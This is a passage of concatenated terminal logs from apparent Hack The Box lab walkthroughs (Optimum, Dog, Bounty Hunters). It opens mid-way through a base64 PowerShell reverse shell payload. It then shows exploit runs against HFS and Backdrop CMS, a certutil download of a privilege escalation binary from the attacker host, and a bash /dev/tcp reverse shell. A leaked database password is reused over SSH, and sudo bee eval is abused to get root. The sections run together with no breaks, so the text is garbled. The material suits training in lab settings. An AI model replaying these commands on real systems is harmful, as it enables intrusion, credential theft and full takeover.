EIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACAAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACAAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACAAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Listening for connection...
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49158
PS C:\Users\kostas\Desktop> whoami
optimum\kostas❯ searchsploit -m windows/remote/39161.py
Exploit: Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution (2)
URL: https://www.exploit-db.com/exploits/39161
Path: /usr/share/exploitdb/exploits/windows/remote/39161.py
Codes: CVE-2014-6287, OSVDB-111386
Verified: True
File Type: Python script, ASCII text executable, with very long lines (540)
Copied to: /home/kali/Desktop/HackTheBox/Windows/Normal/Optimum/Optimum/content/39161.py❯ ls -l
.rwxr-xr-x kali kali 2.4 KB Sat Jan 25 19:41:39 2025 39161.py
.rwxr-xr-x kali kali 28 KB Sat Jan 25 19:45:45 2025 nc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ python2 39161.py 10.10.10.8 80
❯ python2 39161.py 10.10.10.8 80❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.8] 49191
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas
C:\Users\kostas\Desktop>type user.txt
type user.txt
fa8a2a0cb50*****************C:\Users\kostas\Desktop>systeminfo
systeminfo
Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36 ��
System Boot Time: 1/2/2025, 5:15:49 ��
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.529 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.973 MB
Virtual Memory: In Use: 530 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \\OPTIMUM
Hotfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.❯ ls -l
.rw-rw-r-- kali kali 3.2 KB Sat Jan 25 19:47:52 2025 systeminfo.txt
❯ python2.7 /opt/windows-exploit-suggester/exploit -u
[*] initiating winsploit version 3.3...
[+] writing to file 2025-01-25-mssb.xls
[*] done
❯ python2.7 /opt/windows-exploit-suggester/exploit -d 2025-01-25-mssb.xls -i systeminfo.txt
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*]
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*]
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*]
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*] https://github.com/foxglovesec/RottenPotato
[*] https://github.com/Kevin-Robertson/Tater
[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*]
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*]
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*]
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*] https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*] https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*] https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*]
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*] https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*] https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*] https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*]
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*] Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*]
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*] https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*] https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*]
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*] https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*] https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*]
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*] https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*]
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*] https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*]
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*] https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*]
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*] https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*] https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*]
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*] https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*]
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*] https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*]
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*] https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*] https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*]
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*] https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*]
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*] http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*]
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*] http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*]
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*] https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*] http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*] http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*] http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*] http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*] http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*] http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*]
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*] http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*]
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done❯ ls -l 41020.exe
.rw-rw-r-- kali kali 547 KB Sat Jan 25 19:53:00 2025 41020.exe
❯ mv 41020.exe privesc.exe
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...C:\Temp>certutil.exe -f -urlcache -split http://10.10.16.5/privesc.exe C:\Temp\privesc.exe
certutil.exe -f -urlcache -split http://10.10.16.5/privesc.exe C:\Temp\privesc.exe
**** Online ****
000000 ...
088c00
CertUtil: -URLCache command completed successfully.
C:\Temp>dir
dir
Volume in drive C has no label.
Volume Serial Number is EE82-226D
Directory of C:\Temp
01/02/2025 05:54 �� <DIR> .
01/02/2025 05:54 �� <DIR> ..
01/02/2025 05:54 �� 560.128 privesc.exe
1 File(s) 560.128 bytes
2 Dir(s) 5.672.898.560 bytes freeC:\Temp>privesc.exe
privesc.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
whoami
nt authority\system
C:\Temp>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
14d342f16***********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.58 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:13 CET
Initiating SYN Stealth Scan at 18:13
Scanning 10.10.11.58 [65535 ports]
Discovered open port 22/tcp on 10.10.11.58
Discovered open port 80/tcp on 10.10.11.58
Completed SYN Stealth Scan at 18:13, 18.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.58
Host is up, received user-set (0.062s latency).
Scanned at 2025-03-21 18:13:17 CET for 18s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds
Raw packets sent: 65776 (2.894MB) | Rcvd: 65785 (2.632MB)















❯ export IP=10.10.11.74
❯ iRecon $IP❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.58
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.58 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:14 CET
Nmap scan report for 10.10.11.58
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 91.17 ms 10.10.16.1
2 45.90 ms 10.10.11.58
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ python3 /opt/GitHack/GitHack.py http://10.10.11.58/.git/ 2>/dev/null
[+] Download and parse index file ...
...[SNIP]...
❯ cd 10.10.11.58
❯ tree -a | tail -n 1
458 directories, 2873 files<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
*
* Most sites can configure their database by entering the connection string
* below. If using primary/replica databases or multiple connections, see the
* advanced database documentation at
* https://api.backdropcms.org/database-configuration
*/
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
...[SNIP]...❯ grep -r '@dog.htb' * 2>/dev/null
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE
configure = admin/config/people
stylesheets[all][] = css/user.css
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662❯ searchsploit BackDrop CMS 1.27.1
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE) | php/webapps/52021.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results❯ searchsploit -m php/webapps/52021.py
Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/52021
Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
Codes: N/A
Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gzzcoo/Desktop/HackTheBox/Linux/Dog/content/52021.py
❯ ls -l 52021.py
.rwxr-xr-x gzzcoo gzzcoo 2.5 KB Fri Mar 21 18:31:08 2025 52021.py❯ python3 52021.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php
❯ ls -l shell.zip
.rw-rw-r-- gzzcoo gzzcoo 1.1 KB Fri Mar 21 18:32:00 2025 shell.zip❯ unzip shell.zip
Archive: shell.zip
extracting: shell/shell.info
extracting: shell/shell.php
❯ tar -czf shell.tar.gz shell/
❯ ls -l shell.tar.gz
.rw-rw-r-- gzzcoo gzzcoo 678 B Fri Mar 21 18:37:35 2025 shell.tar.gz❯ nc -nlvp 443
listening on [any] 443 ...❯ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | jq -sRr @uri
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22
❯ curl -s 'http://10.10.11.58/modules/shell/shell.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 55796
bash: cannot set terminal process group (916): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-databash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "show tables;"
<ackDropJ2024DS2024' -D "backdrop" -e "show tables;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----------------------------+
| Tables_in_backdrop |
+-----------------------------+
| batch |
...[SNIP]...
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| tempstore |
| url_alias |
| users |
| users_roles |
| variable |
| watchdog |
+-----------------------------+bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
<2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name | pass | mail | signature | signature_format | created | changed | access | login | status | timezone | language | picture | init | data |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| 0 | | | | | NULL | 0 | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | jPAdminB | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb | | NULL | 1720548614 | 1720584122 | 1720714603 | 1720584166 | 1 | UTC | | 0 | jPAdminB@dog.htb | 0x623A303B |
| 2 | jobert | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb | | NULL | 1720584462 | 1720584462 | 1720632982 | 1720632780 | 1 | UTC | | 0 | jobert@dog.htb | NULL |
| 3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb | | NULL | 1720632880 | 1720632880 | 1723752097 | 1723751569 | 1 | UTC | | 0 | dogBackDroopSystem@dog.htb | NULL |
| 5 | john | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb | | NULL | 1720632910 | 1720632910 | 0 | 0 | 1 | UTC | | 0 | john@dog.htb | NULL |
| 6 | morris | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb | | NULL | 1720632931 | 1720632931 | 0 | 0 | 1 | UTC | | 0 | morris@dog.htb | NULL |
| 7 | axel | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb | | NULL | 1720632952 | 1720632952 | 0 | 0 | 1 | UTC | | 0 | axel@dog.htb | NULL |
| 8 | rosa | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb | | NULL | 1720632982 | 1720632982 | 0 | 0 | 1 | UTC | | 0 | rosa@dog.htb | NULL |
| 10 | tiffany | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb | | NULL | 1723752136 | 1723752136 | 1742578785 | 1742578596 | 1 | UTC | | 0 | tiffany@dog.htb | NULL |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+bash-5.0$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
bash-5.0$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 4 jobert jobert 4096 Feb 7 15:59 jobert
drwxr-xr-x 3 johncusack johncusack 4096 Mar 21 14:15 johncusack❯ sshpass -p 'BackDropJ2024DS2024' ssh johncusack@10.10.11.58
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 21 Mar 2025 05:49:38 PM UTC
System load: 0.0
Usage of /: 49.3% of 6.32GB
Memory usage: 21%
Swap usage: 0%
Processes: 238
Users logged in: 0
IPv4 address for eth0: 10.10.11.58
IPv6 address for eth0: dead:beef::250:56ff:fe94:1884
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Mar 21 17:49:39 2025 from 10.10.16.2
johncusack@dog$ cat user.txt
2721e***************************johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/beejohncusack@dog:~$ sudo /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
--base-url
Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.
--yes, -y
Answer 'yes' to questions without prompting.
--debug, -d
Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).
Commands:
...[SNIP]...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.johncusack@dog:~$ sudo /usr/local/bin/bee eval "system('whoami');"
✘ The required bootstrap level for 'eval' is not ready. johncusack@dog:~$ cd /var/www/html/
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
rootjohncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('/bin/bash');"
root@dog:/var/www/html# whoami
root
root@dog:/var/www/html# cat /root/root.txt
f9491b**************************

allPorts.allPortsallPorts
allPorts

























❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.100 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 20:13 CET
Initiating SYN Stealth Scan at 20:13
Scanning 10.10.11.100 [65535 ports]
Discovered open port 80/tcp on 10.10.11.100
Discovered open port 22/tcp on 10.10.11.100
Completed SYN Stealth Scan at 20:13, 28.68s elapsed (65535 total ports)
Nmap scan report for 10.10.11.100
Host is up, received user-set (0.067s latency).
Scanned at 2025-03-03 20:13:17 CET for 29s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.84 seconds
Raw packets sent: 67502 (2.970MB) | Rcvd: 66606 (2.665MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.100
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.100 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 20:15 CET
Nmap scan report for 10.10.11.100
Host is up (0.035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d4:4c:f5:79:9a:79:a3:b0:f1:66:25:52:c9:53:1f:e1 (RSA)
| 256 a2:1e:67:61:8d:2f:7a:37:a7:ba:3b:51:08:e8:89:a6 (ECDSA)
|_ 256 a5:75:16:d9:69:58:50:4a:14:11:7a:42:c1:b6:23:44 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Bounty Hunters
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 34.09 ms 10.10.14.1
2 34.47 ms 10.10.11.100
